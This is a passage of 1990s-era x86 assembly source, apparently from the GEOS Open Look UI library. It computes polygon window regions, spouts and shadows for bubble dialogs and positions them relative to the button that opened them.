mov ds:[bx+0*(size WedgeWinColorInfo)].WWCI_color, al
mov ds:[bx+1*(size WedgeWinColorInfo)].WWCI_color, ah
mov ds:[bx+2*(size WedgeWinColorInfo)].WWCI_color, ah
mov ds:[bx+3*(size WedgeWinColorInfo)].WWCI_color, al
mov ds:[bx+4*(size WedgeWinColorInfo)].WWCI_color, ah
mov ds:[bx+5*(size WedgeWinColorInfo)].WWCI_color, al
mov ds:[bx+6*(size WedgeWinColorInfo)].WWCI_color, al
else
dec ds:[bx+4].P_x
dec ds:[bx+8].P_x
dec ds:[bx+8].P_y
dec ds:[bx+12].P_y
dec ds:[bx+16].P_y
inc ds:[bx+20].P_x
dec ds:[bx+20].P_y
endif
jmp createRegion
if BUBBLE_DIALOG_INSET
decLeftBottom label near
dec ds:[bx+4].P_x
dec ds:[bx+8].P_x
dec ds:[bx+8].P_y
dec ds:[bx+12].P_y
dec ds:[bx+16].P_y
inc ds:[bx+20].P_x
dec ds:[bx+20].P_y
retn
endif
leftTop:
; The wedge is on the left top
mov newMargins.P_x, BUBBLE_WEDGE_SIZE ; why?????
mov polygon[24].P_y, ax
mov polygon[20].P_y, ax
add ax, BUBBLE_WEDGE_SIZE
mov polygon[16].P_y, ax
call addOLWinBorderPoints
if BUBBLE_DIALOG_INSET
call decLeftTop
call addOLWinInsetPoints
call decLeftTop
inc ds:[bx+20].P_y ; lower spout top
inc ds:[bx+24].P_y
add ds:[bx+20].P_x, 2 ; move spout tip in
push bx
mov bx, dx
mov ds:[bx+4*(size WedgeWinColorInfo)].WWCI_flags, \
mask WWIF_DEC_X1 or mask WWIF_DEC_Y1
pop bx
jmp leftCommon
decLeftTop label near
dec ds:[bx+4].P_x
dec ds:[bx+8].P_x
dec ds:[bx+8].P_y
dec ds:[bx+12].P_y
; dec ds:[bx+16].P_y
; inc ds:[bx+20].P_x
retn
else
dec ds:[bx+4].P_x
dec ds:[bx+8].P_x
dec ds:[bx+8].P_y
dec ds:[bx+12].P_y
; dec ds:[bx+16].P_y
; inc ds:[bx+20].P_x
endif
createRegion:
clr di
call GrCreateState
mov cx, PCT_REPLACE
call GrBeginPath
push ds, si
segmov ds, ss
lea si, polygon
mov cx, NUM_WINDOW_REGION_POINTS
call GrDrawPolygon
pop ds, si
call GrEndPath
mov cl, RFR_ODD_EVEN
call GrGetPathRegion
if BUBBLE_DIALOG_SHADOW ;------------------------------------------------------
;
; check if shadow desired
; *ds:si = OLWin
; bx = handle of original region
;
push bx
mov ax, HINT_DRAW_SHADOW
call ObjVarFindData
pop bx
LONG jnc noShadow
;
; make shadow by shifting polygon down and to the right and or'ing
; that region with the original region
; *ds:si = OLWin
; bx = handle of original region
; di = gstate
;
push ds, es, si, di ; save OLWin, gstate
mov winRegion, bx ; save window region block
mov ax, MGIT_SIZE
call MemGetInfo
mov winSize, ax ; save window region size
mov cx, PCT_REPLACE
call GrBeginPath
segmov ds, ss
lea si, polygon
mov cx, NUM_WINDOW_REGION_POINTS
makeShadow:
add ds:[si].P_x, DIALOG_SHADOW_OFFSET
add ds:[si].P_y, DIALOG_SHADOW_OFFSET
add si, size Point
loop makeShadow
lea si, polygon
mov cx, NUM_WINDOW_REGION_POINTS
call GrDrawPolygon
call GrEndPath
mov cl, RFR_ODD_EVEN
call GrGetPathRegion ; bx = shadow region block
mov shadowRegion, bx
mov bx, winRegion ; lock original region
call MemLock
mov ds, ax
mov bx, shadowRegion ; lock shadow region
call MemLock
mov es, ax
mov ax, MGIT_SIZE
call MemGetInfo ; ax = shadow region size
mov shadowSize, ax
add ax, winSize
shl ax, 1 ; double for OR operation
tryAgain:
add ax, size Rectangle ; make room for bounds
mov orSize, ax
add ax, shadowSize ; plus size of existing reg
mov bx, shadowRegion
clr cx
call MemReAlloc ; make room for OR'ed region
mov es, ax
mov di, shadowSize ; es:di = OR'ed region buffer
add di, size Rectangle
mov cx, orSize ; cx = size of buffer
mov ax, mask ROF_OR_OP ; OR, please
mov si, size Rectangle ; ds:si = original region
mov bx, si ; es:bx = shadow region
call GrPtrRegOp
jnc gotRegion
mov ax, cx ; ax = new OR'ed region size
jmp short tryAgain
gotRegion:
;
; get bounds of and move OR'ed region to beginning of buffer
; cx = size of OR'ed region
;
add cx, size Rectangle ; include bounds
push cx
segmov ds, es ; ds:si = OR'ed region
mov si, shadowSize
push si
add si, size Rectangle ; ds:si = actual region
call GrGetPtrRegBounds ; get bounds
pop si ; ds:si = OR'ed region + bounds
mov ds:[si].R_left, ax
mov ds:[si].R_top, bx
mov ds:[si].R_right, cx
mov ds:[si].R_bottom, dx
clr di ; es:di = dest for OR'ed region
pop cx ; size of OR'ed region + bounds
push cx ; save again
rep movsb
pop ax ; size of OR'ed region + bounds
mov bx, shadowRegion
clr cx
call MemReAlloc
mov bx, winRegion
call MemFree
mov bx, shadowRegion ; return with OR'ed region
call MemUnlock
pop ds, es, si, di ; *ds:si = OLWin, di = gstate
noShadow:
endif ;------------------------------------------------------------------------
regionCommon::
call GrDestroyState
movdw dxcx, newMargins
cmpdw dxcx, oldMargins
LONG je done
push bx
push cx, dx
mov ax, TEMP_OL_WIN_BUBBLE_MARGIN
mov cx, size Point
call ObjVarAddData
pop ds:[bx].P_x, ds:[bx].P_y
pop bx
call recalcGeometry
jmp done
noRegion:
mov ax, TEMP_OL_WIN_BORDER_POINTS
call ObjVarDeleteData
mov ax, TEMP_OL_WIN_BUBBLE_MARGIN
call ObjVarDeleteData
if DIALOG_SHADOWS ;------------------------------------------------------------
;
; if we want a shadow, we need to create a region
;
mov ax, HINT_DRAW_SHADOW
call ObjVarFindData
jnc noNormalShadow
; 0 1
; +---------------+
; | |
; | 2 +--+ 3
; | |
; | |
; 7 +--+ 6 |
; | |
; 5 +---------------+ 4
;
call VisGetBounds
mov polygon[0*(size Point)].P_x, ax
mov polygon[0*(size Point)].P_y, bx
mov polygon[1*(size Point)].P_x, cx
mov polygon[1*(size Point)].P_y, bx
mov polygon[2*(size Point)].P_x, cx
mov polygon[6*(size Point)].P_y, dx
mov polygon[7*(size Point)].P_x, ax
mov polygon[7*(size Point)].P_y, dx
add ax, DIALOG_SHADOW_OFFSET
add bx, DIALOG_SHADOW_OFFSET
add cx, DIALOG_SHADOW_OFFSET
add dx, DIALOG_SHADOW_OFFSET
mov polygon[2*(size Point)].P_y, bx
mov polygon[3*(size Point)].P_x, cx
mov polygon[3*(size Point)].P_y, bx
mov polygon[4*(size Point)].P_x, cx
mov polygon[4*(size Point)].P_y, dx
mov polygon[5*(size Point)].P_x, ax
mov polygon[5*(size Point)].P_y, dx
mov polygon[6*(size Point)].P_x, ax
clr di
call GrCreateState
mov cx, PCT_REPLACE
call GrBeginPath
push ds, si
segmov ds, ss
lea si, polygon
mov cx, NUM_DIALOG_SHADOW_REGION_POINTS
call GrDrawPolygon
pop ds, si
call GrEndPath
mov cl, RFR_ODD_EVEN
call GrGetPathRegion
jmp regionCommon
noNormalShadow:
endif ;------------------------------------------------------------------------
tstdw oldMargins
jz notPopup
call recalcGeometry
notPopup:
clr bx ; no window region
done:
.leave
ret
; Add the TEMP_OL_WIN_BORDER_POINTS vardata and copy in the polyogn points
; Pass: *ds:si = OLWinClass object
; Return: ds:bx = vardata
;
addOLWinBorderPoints:
mov ax, TEMP_OL_WIN_BORDER_POINTS
mov cx, size WedgeWinBorderStruct
call ObjVarAddData
push ds, si, bx
segmov es, ds
mov di, bx
segmov ds, ss
lea si, polygon
mov bx, polygon[0].P_x
sub bx, newMargins.P_x
mov dx, polygon[0].P_y
sub dx, newMargins.P_y
mov cx, NUM_WINDOW_REGION_POINTS
pointLoop:
lodsw
sub ax, bx ; adjust for extra left margin
stosw
lodsw
sub ax, dx ; adjust for extra top margin
stosw
loop pointLoop
pop ds, si, bx
retn
if BUBBLE_DIALOG_INSET
;
; Pass: ds:bx = border points
; Return: ds:bx = vardata for inset points
; ds:dx = vardata for inset line segment color info
;
addOLWinInsetPoints:
mov dx, bx ; ds:dx = border points
mov ax, TEMP_OL_WIN_INSET_POINTS
mov cx, size WedgeWinBorderStruct
call ObjVarAddData
push si
segmov es, ds ; es:di = inset points
mov di, bx
mov si, dx ; ds:si = border points
mov cx, (NUM_WINDOW_REGION_POINTS*(size Point))/(size word)
rep movsw
pop si
inc ds:[bx].P_x ; always inset start point
inc ds:[bx].P_y
inc ds:[bx+4].P_y ; inset first top line
inc ds:[bx+24].P_x ; inset second right line
mov ax, TEMP_OL_WIN_INSET_COLORS
mov cx, size WedgeWinInsetColorInfo
call ObjVarAddData
mov dx, bx ; ds:dx = color info
;
; deref since adding TEMP_OL_WIN_INSET_COLORS could move object
;
mov ax, TEMP_OL_WIN_INSET_POINTS
call ObjVarFindData ; ds:bx = inset points
EC < ERROR_NC OL_ERROR >
retn
endif
; Pass: *ds:si = OLWinClass object
; Return: nothing
;
recalcGeometry:
push bp
mov ax, MSG_VIS_RESET_TO_INITIAL_SIZE
mov dl, VUM_DELAYED_VIA_UI_QUEUE
call ObjCallInstanceNoLock
mov ax, MSG_VIS_UPDATE_GEOMETRY
call ObjCallInstanceNoLock
pop bp
retn
OpenWinCreateWindowRegion endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PositionBubbleDialog
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Position the dialog according to the activator bounds
CALLED BY: OpenWinCreateWindowRegion
PASS: cx, dx = activator center
*ds:si = dialog
ds:di = dialog instance
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
grisco 10/ 8/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if POSITION_BUBBLE_WRT_ACTIVATOR
PositionBubbleDialog proc near
activatorX local word push cx
activatorY local word push dx
dialogWidth local word
dialogHeight local word
screenWidth local word
screenHeight local word
uses ax,bx,cx,dx,bp
.enter
call GetFieldDimensionsFar
mov ss:[screenWidth], cx
mov ss:[screenHeight], dx
call VisGetSize
mov ss:[dialogWidth], cx
mov ss:[dialogHeight], dx
mov cx, ss:[activatorX]
mov dx, ss:[activatorY]
call PositionBubbleVertically ; dx = y position
jc leftOrRight
call CenterBubbleHorizontally ; cx = x position
gotPosition:
if _NASTY_HACK_FOR_MENUS_WITH_VERTICAL_HARD_ICONS
PrintMessage <Disable _NASTY_HACK_FOR_MENUS_WITH_VERTICAL_HARD_ICONS before shipping>
;
; convert to field coords (to deal with fake screen size and hard
; icon bars
;
push di
movdw axbx, cxdx
call VisQueryParentWin ; di = window
call WinUntransform
movdw cxdx, axbx
tst cx
jns onScreen
clr cx
onScreen:
pop di
endif ;_NASTY_HACK_FOR_MENUS_WITH_VERTICAL_HARD_ICONS
mov ax, MSG_VIS_SET_POSITION
call ObjCallInstanceNoLock
.leave
ret
leftOrRight:
call PositionBubbleLeftOrRight
jmp gotPosition
PositionBubbleDialog endp
endif ;if POSITION_BUBBLE_WRT_ACTIVATOR
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CenterBubbleHorizontally
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Move the dialog horizontally so that it is centered
with the activator.
CALLED BY: PositionBubbleDialog
PASS: cx, dx = activator center
*ds:si = dialog
RETURN: cx = x position to place dialog
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
grisco 10/ 8/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if POSITION_BUBBLE_WRT_ACTIVATOR
CenterBubbleHorizontally proc near
uses ax,bx,dx,di
.enter inherit PositionBubbleDialog
mov cx, ss:[dialogWidth] ; cx = dialog width
shr cx, 1 ; cx = width / 2
mov ax, ss:[activatorX]
sub ax, cx ; ax = new dialog x pos
js atLeft
gotPos:
;
; Should check to make sure right edge stays in bounds
;
mov cx, ss:[screenWidth]
if _NASTY_HACK_FOR_MENUS_WITH_VERTICAL_HARD_ICONS
PrintMessage <Disable _NASTY_HACK_FOR_MENUS_WITH_VERTICAL_HARD_ICONS before shipping>
push ax
call VisQueryParentWin ; di = window
mov ax, cx
call WinUntransform
mov cx, ax
pop ax
endif
mov bx, ss:[dialogWidth]
mov dx, ax ; dx = new dialog x pos
add dx, bx ; dx = right edge of dialog
xchg ax, cx ; ax = scrn width; cx = x pos
cmp dx, ax
jbe done
;
; Position the dialog to the left so right edge stays on
; screen.
;
mov_tr cx, ax
sub cx, bx
done:
.leave
ret
atLeft:
if _NASTY_HACK_FOR_MENUS_WITH_VERTICAL_HARD_ICONS
PrintMessage <Disable _NASTY_HACK_FOR_MENUS_WITH_VERTICAL_HARD_ICONS before shipping>
clr ax
call VisQueryParentWin ; di = window
call WinTransform
mov_tr cx, ax
else
clr cx
endif
jmp done
CenterBubbleHorizontally endp
endif ;if POSITION_BUBBLE_WRT_ACTIVATOR
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PositionBubbleVertically
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Move the dialog vertically so that it is either above
or below the activator...not too close or the pointer
will not draw. If the dialog is too tall to fit,
center it vertically.
CALLED BY: PositionBubbleDialog
PASS: cx, dx = activator center
*ds:si = dialog
RETURN: dx = new y pos of dialog
carry clear = dialog placed above or below activator
carry set = dialog too tall, being centered
vertically. Place left or right.
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
grisco 10/ 8/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if POSITION_BUBBLE_WRT_ACTIVATOR
SPOUT_HEIGHT_COMPENSATION equ 20
PositionBubbleVertically proc near
uses ax,bx,cx,di
.enter inherit PositionBubbleDialog
mov bx, dx ; bx = y center of activator
;
; If middle of activator is below middle of screen, then
; bubble dialog should go above. Otherwise, bubble dialog
; goes below.
;
mov dx, ss:[screenHeight]
shr dx, 1 ; cx = center of window
cmp bx, dx
mov dx, bx ; dx = y center of activator
ja above
below:
;
; Dialog should go below the activator
;
add dx, SPOUT_HEIGHT_COMPENSATION
;
; Does it still fit on screen?
;
mov bx, dx ; bx = new y position
add bx, ss:[dialogHeight]
cmp bx, ss:[screenHeight]
ja tooTall
clc
jmp done
above:
;
; Bubble dialog should go above activator. Get the height of
; the dialog and subtract from y pos of activator and subtract
; a little extra for the pointer.
;
mov dx, ss:[dialogHeight]
sub bx, dx
js tooTall
sub bx, SPOUT_HEIGHT_COMPENSATION
js tooTall
mov dx, bx
clc
done:
.leave
ret
tooTall:
mov bx, dx ; bx = dialogHeight
mov dx, ss:[screenHeight]
shr dx, 1 ; dx = vert screen center
shr bx, 1 ; 1/2 height of dialog
sub dx, bx ; dx = new vert dialog pos
stc
jmp done
PositionBubbleVertically endp
endif ;if POSITION_BUBBLE_WRT_ACTIVATOR
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PositionBubbleLeftOrRight
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: The dialog is being centered vertically. Place it to
the left or right of the activator (whatever fits
best).
CALLED BY: PositionBubbleDialog
PASS: cx, dx = center of activator
*ds:si = dialog
RETURN: cx = new x position of dialog
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
grisco 10/10/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if POSITION_BUBBLE_WRT_ACTIVATOR
SPOUT_WIDTH_COMPENSATION equ 20
PositionBubbleLeftOrRight proc near
uses ax, dx
.enter inherit PositionBubbleDialog
mov ax, ss:[activatorX]
mov cx, ss:[screenWidth]
shr cx, 1 ; cx = x center of screen
cmp ax, cx ; is button on left or right?
ja posLeft
add ax, SPOUT_WIDTH_COMPENSATION
mov_tr cx, ax
done:
.leave
ret
posLeft:
sub ax, ss:[dialogWidth]
mov_tr cx, ax
sub cx, SPOUT_WIDTH_COMPENSATION
jns done
clr cx ; force to left edge
willFit:
jmp done
PositionBubbleLeftOrRight endp
endif
endif ; BUBBLE_DIALOGS and (_DUI)
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OpenWinCreateWindowRegion
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Create a window region
CALLED BY: OpenWinOpenWin
PASS: *ds:si = OLWinClass object
RETURN: ^hbx = region (NULL if no region created)
NOT IN CURRENT RUDY VERSION: (cx,dx) = difference Win origin and Vis origin
DESTROYED: ax, cx, dx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Joon 5/ 8/94 Initial version
Chris 7/25/94 Changed to only do bubbles when object is
on the left
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if BUBBLE_DIALOGS and (not (_DUI))
if not CURVED_BUBBLE_DIALOG
WIN_LEFT = 0001b
WIN_RIGHT = 0010b
WIN_TOP = 0100b
WIN_BOTTOM = 1000b
WEDGE_SIZE = 34
MINIMUM_WEDGE_WIDTH = 42
MAXIMUM_WEDGE_WIDTH = 72
WEDGES_TO_LEFT_ONLY = TRUE ;no wedge if activator not to left
if WEDGES_TO_LEFT_ONLY
;===========================================================================
;===========================================================================
; BEGIN BUBBLE CODE CURRENTLY USED IN RUDY
;
; There is a correlated comment below that says "END BUBBLE CODE...". I
; added these comment because I really got tired of trying to figure out
; which constants were true or false or whatever... --JimG 7/24/95
;===========================================================================
;===========================================================================
OpenWinCreateWindowRegion proc near
class OLWinClass
self local word push si
side local word
points local 8 dup (Point)
activatorBounds local Rectangle
spoutOriginX local word
uses si, di, bp
.enter
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].OLWI_moreFixedAttr, mask OWMFA_IS_POPUP
LONG jz noRegionNotPopup
mov ax, HINT_INTERACTION_ACTIVATED_BY
call ObjVarFindData
LONG jnc noRegion
push bp, si
mov si, ds:[bx].chunk
mov bx, ds:[bx].handle
mov ax, MSG_META_GET_ACTIVATOR_BOUNDS
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
mov di, bp
pop bp, si
LONG jnc noRegion
; Coordinates are in (ax, di) - (cx, dx)
;
; Make sure that the upper-left coords are positive (on the screen!)
;
tst ax
LONG js noRegion
tst di
LONG js noRegion
mov activatorBounds.R_left, ax
mov activatorBounds.R_top, di
;
; Make sure that the lower-right coords are within the screen's
; dimensions.
;
mov_tr ax, cx ; Move LR coords into (ax,di)
mov_tr di, dx
if _DUI
call GetFieldDimensionsFar
else
call OpenGetScreenDimensions ; cx=width, dx=height
endif
cmp ax, cx
LONG jge noRegion
cmp di, dx
LONG jge noRegion
mov activatorBounds.R_right, ax
mov activatorBounds.R_bottom, di
call BubbleGetOriginalBounds ; pass bounds, as screen coords
;
; No spout if the activator is completely underneath us (activator
; left > window left). (7/12/95 cbh)
;
; First, we'll see if a minimum wedge will overlap the moniker
; (in a settings dialog) -- brianc 1/22/96
;
cmp activatorBounds.R_left, ax
LONG jg tryMinWedge
clr si
push ax
sub ax, MINIMUM_WEDGE_WIDTH ; make sure wedges at least this wide
cmp activatorBounds.R_right, ax
LONG jge stubbySpout
;
; Make sure wedges not longer than max
;
sub ax, (MAXIMUM_WEDGE_WIDTH-MINIMUM_WEDGE_WIDTH)
cmp activatorBounds.R_right, ax
jl useThisOrigin
;
; Regular spout
;
mov ax, activatorBounds.R_right
useThisOrigin:
mov ss:[spoutOriginX], ax
jmp afterSpout
keepGoingVup:
;
; keep going up the vis tree as long as we have non-OLCRF_RIGHT_ARROW
; OLCtrls
; *ds:si = non-OLCRF_RIGHT_ARROW OLCtrl
; bx = child handle
;
pushdw bxsi
call VisFindParent ; ^lbx:si = vis parent
movdw axdi, bxsi ; ^lax:di = vis parent
popdw bxsi
call ObjSwapUnlock ; unlock child
movdw bxsi, axdi ; ^lbx:si = vis parent
jmp short tryAgain
tryMinWedge:
;
; if activator is OLButton whose vis parent is a settings
; "draw right arrow" OLCtrl, and its left bound will allow a
; minimal spout, use it
;
push bp, bx, si, es, di
mov bp, ax ; save bubble left bound
mov ax, HINT_INTERACTION_ACTIVATED_BY
call ObjVarFindData
EC < ERROR_NC OL_ERROR >
mov si, ds:[bx].chunk
mov bx, ds:[bx].handle
call ObjSwapLock ; *ds:si = activator, bx = OLWin han
mov di, segment OLButtonClass
mov es, di
mov di, offset OLButtonClass
call ObjIsObjectInClass
jnc stillNoGo ; not OLButtonClass, forget it
push bx ; save OLWin handle
call VisFindParent ; ^lbx:si = parent
tst bx
jz stillNoGoPop ; (carry clear)
tryAgain:
call ObjSwapLock ; *ds:si = parent, bx = activator han
mov di, segment OLCtrlClass
mov es, di
mov di, offset OLCtrlClass
call ObjIsObjectInClass
jnc stillNoGoPopUnlock ; parent not OLCtrl, forget it
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].OLCI_rudyFlags, mask OLCRF_DRAW_RIGHT_ARROW
; jz stillNoGoPopUnlock ; not right arrow, forget it (C clr)
;keep going up -- brianc 2/20/96
jz keepGoingVup
push bp
sub bp, MINIMUM_WEDGE_WIDTH ; bp = left position of spout
; cmp bp, ds:[di].VI_bounds.R_left ; will spout fit?
;need to translate to screen coords -- brianc 2/20/96
mov ax, ds:[di].VI_bounds.R_left ; ax = object left
call VisQueryWindow ; di = object window
push bx
clr bx ; Y coord to transform
call WinTransform ; ax = screen object left
pop bx
cmp bp, ax ; will spout fit?
;----------------------------------------------------
pop bp
stc ; assume so
jge stillNoGoPopUnlock ; !(S^O)
clc ; else, forget it
stillNoGoPopUnlock:
call ObjSwapUnlock ; *ds:si = activator (saves flags)
stillNoGoPop:
pop bx ; restore OLWin handle
stillNoGo:
mov ax, bp
call ObjSwapUnlock ; *ds:si = OLWin
pop bp, bx, si, es, di
LONG jnc noRegion
push ax ; restore left bound
; FALL THRU to use minimum spout
stubbySpout:
pop ax ;ax = left bound
push ax
sub ax, WEDGE_SIZE
mov ss:[spoutOriginX], ax
afterSpout:
pop ax ;ax = left bound
call BubbleForceRecalcSizeIfNeeded
mov ss:points[0].P_x, ax
push ax
mov ax, activatorBounds.R_right
sub ss:points[0].P_x, ax
pop ax
cmp activatorBounds.R_bottom, dx
LONG jge noRegion
cmp activatorBounds.R_top, bx
LONG jle noRegion
mov ss:[side], WIN_LEFT
movdw ss:points[0], bxax ; 0------------>1
movdw ss:points[4], bxcx ; ^ |
movdw ss:points[8], dxcx ; | v
movdw ss:points[12], dxax ; 3<------------2
call GetWedgeYoffsets
movdw ss:points[16], dxax
mov cx, ss:[spoutOriginX]
mov ss:points[20].P_x, cx
mov ss:points[24].P_x, cx
; I thought I'd go ahead and document this little fact so future
; generations could benefit. It turns out that the polygon used for
; the window region is slightly different from the polygon used to
; draw the window border. This is because we need to ensure that
; the apex of the spout is inside the region and also because border
; is drawn with two pixels. So the region contains two points at
; the apex whereas the border only has one point. Here we calculate
; those two points by taking the average of the activator Y bounds
; and then use two pixels above and below that point.
;
; (This used to be only a one pixel deviation, but it was clipping
; part of the two pixel border and so it looked bad..) --JimG 7/25/95
;
mov cx, activatorBounds.R_top
add cx, activatorBounds.R_bottom
shr cx, 1
inc cx
inc cx ; go two up
mov ss:points[20].P_y, cx
sub cx, 4 ; go two down (from middle)
mov ss:points[24].P_y, cx
movdw ss:points[28], bxax
clr di
call GrCreateState
mov cx, PCT_REPLACE
call GrBeginPath
push ds
segmov ds, ss
lea si, ss:[points]
mov cx, 8
call GrDrawPolygon
pop ds
call GrEndPath
mov cl, RFR_ODD_EVEN
call GrGetPathRegion
call GrDestroyState
adjustForLineBounds::
dec ss:points[4].P_x
dec ss:points[8].P_x
dec ss:points[8].P_y
dec ss:points[12].P_y
dec ss:points[16].P_y
sub ss:points[20].P_y, 2
inc ss:points[28].P_y
movdw ss:points[24], ss:points[28], ax
push bx ; save region handle
; Allocate vardata and store the points to be drawn in
; RudyDrawBubbleBorder.
;
mov si, ss:[self]
mov ax, TEMP_OL_WIN_BORDER_POINTS
mov cx, size WedgeWinBorderStruct
call ObjVarAddData
push ds, es
segmov es, ds
mov di, bx
segmov ds, ss
lea si, ss:[points]
mov cx, 7
; Copy the points into the vardata structure, but transform the x
; coordinate from screen coordinates to the origin of the popup
; window which is, of course, the X origin of the spout.
; The transform in the Y direction is just subtracting off the Y
; origin of the region so that it starts on the very top of the window.
;
mov bx, ss:[spoutOriginX] ; X adjustment
mov dx, ss:points[0].P_y ; Y adjustment
nextPoint:
lodsw ; borderX = regionX - spoutOriginX
sub ax, bx
stosw
lodsw ; borderY = regionY - Yorigin
sub ax, dx
stosw
loop nextPoint
pop ds, es
pop bx ; restore region handle
done:
.leave
ret
noRegion:
;
; Make sure to delete the vardata in case it previously existed and
; now the region cannot be drawn.
;
mov ax, TEMP_OL_WIN_BORDER_POINTS
mov si, ss:[self]
call ObjVarDeleteData
mov ss:[spoutOriginX], -1
call BubbleForceRecalcSizeIfNeeded
noRegionNotPopup: ; not a popup, don't bother with above
; stuff...
clr bx
jmp done
if (0) ; Wedges only go to left, so we don't need this.
GetWedgeXoffsets:
push bx
mov bx, activatorBounds.R_left
add bx, activatorBounds.R_right
shr bx, 1
sub bx, WEDGE_SIZE / 2
cmp ax, bx
jl 101$
mov cx, ax
add cx, WEDGE_SIZE
jmp 103$
101$:
add bx, WEDGE_SIZE
cmp cx, bx
jg 102$
mov ax, cx
sub ax, WEDGE_SIZE
jmp 103$
102$:
mov cx, bx
mov ax, bx
sub ax, WEDGE_SIZE
103$:
pop bx
retn
endif
GetWedgeYoffsets:
push ax
mov ax, activatorBounds.R_top
add ax, activatorBounds.R_bottom
shr ax, 1
sub ax, WEDGE_SIZE / 2
cmp bx, ax
jl 201$
mov dx, bx
add dx, WEDGE_SIZE
jmp 203$
201$:
add ax, WEDGE_SIZE
cmp dx, ax
jg 202$
mov bx, dx
sub bx, WEDGE_SIZE
jmp 203$
202$:
mov dx, ax
mov bx, ax
sub bx, WEDGE_SIZE
203$:
pop ax
retn
OpenWinCreateWindowRegion endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BubbleGetOriginalBounds
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Returns the bounds of the bubble without considering the
spout.
CALLED BY: OpenWinCreateWindowRegion
PASS: *ds:si = OLWinClassObject
RETURN: ax,bx,cx,dx = bounds of bubble without spout
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
This is a pretty simple idea. Get the vis bounds of the
window but check for the existence of TEMP_OL_WIN_BUBBLE_MARGIN.
If this exists, the code in OpenWinGetMargins just straight up
adds this value into the left margin (thereby subtracting the
left bounds by this amount) and thus we have to just add that
value back in to get the real bounds.
REVISION HISTORY:
Name Date Description
---- ---- -----------
JimG 7/21/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
BubbleGetOriginalBounds proc near
uses bp
.enter
clr bp
mov ax, TEMP_OL_WIN_BUBBLE_MARGIN
call ObjVarFindData
jnc notTouchedYet
mov bp, {word}ds:[bx]
notTouchedYet:
call VisGetBounds
add ax, bp
.leave
ret
BubbleGetOriginalBounds endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BubbleForceRecalcSizeIfNeeded
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Determines if the window's geometry needs to be
recalculcated because of the spout. It really attempts to
not do recalculations more than needed.
If there is a spout, this routine guarentees that the
left edge of the window is equal to the spoutOriginX.
CALLED BY: OpenWinCreateWindowRegion
PASS: ss:bp = OpenWinCreateWindowRegion stack frame
(uses spoutOriginX and self)
If spoutOriginX >= 0, then
ax = left margin of window NOT INCLUDING any spout
else this function assumes that there will be no spout and
may force the window's geometry to be recalculated if
necessary. I.e., it does the "right thing."
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
